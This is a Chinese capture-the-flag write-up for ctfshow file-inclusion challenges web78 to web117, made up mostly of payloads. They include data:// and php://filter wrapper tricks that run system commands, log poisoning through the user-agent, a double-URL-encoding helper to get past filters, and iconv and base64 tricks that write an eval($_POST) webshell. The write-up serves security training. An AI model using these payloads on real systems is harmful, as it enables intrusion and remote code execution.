ctfshow 文件包含 web 78 -117

web 78

data://text/plain,<?php system("cat flag.php");?>
php://filter/convert.base64-encode/resource=flag.php

web 79

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system(‘cat flag.php’);

web 80

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
我们抓个包就可以知道它的服务类型为nginx
在这里插入图片描述

然后在user-agent写shell
在这里插入图片描述

web 81

同上

web 82-86(环境暂时做不了)

web 87

因为它对php,:,data进行了过滤,并进行了url解码
我们可以对php://filter/write=convert.base64-decode/resource=1.php(把内容写进1.php)进行url二次编码
exp,这个只是第一次url编码然后只要在编码网站再编码一次就行了

<?php
$b='';
$a='php://filter/write=convert.base64-decode/resource=1.php';
$c='%';
for($i=0;$i<strlen($a);$i++)
{
	$b=$b.$c.bin2hex($a[$i]);
}
echo $b;
?>

content可以对<?php eval($_POST[1]);?>进行base64编码,再在前面加个aa,因为base64是以4个字节为一组而前面的phpdie还差两个字节。

只有ASCII码值为43,45-47,65-90,97-122时,才有base64_reverse_table[ch]>=0,对应字符为 +, / , 09,az,A~Z,其余字符都会被跳过
如本题的 <?php die("大佬别秀了");?> 在base64_decode处理的时候可视为phpdie,

web 88

这次构造要注意,要构造一个末尾没有加号或等于号
file=data://text/plain;base64,PD9waHAgaGlnaGxpZ2h0X2ZpbGUoIi4vZmwwZy5waHAiKTsgPz4xYXM
在这里插入图片描述

web 116

用010分离出图片
在这里插入图片描述
然后再分离
file=compress.zlib:///var/www/html/flag.php

web 117

file=php://filter/write=convert.iconv.ucs-2le.ucs-2be/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
//<?php eval($_POST[1]);?>

进入a.php,webshell
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值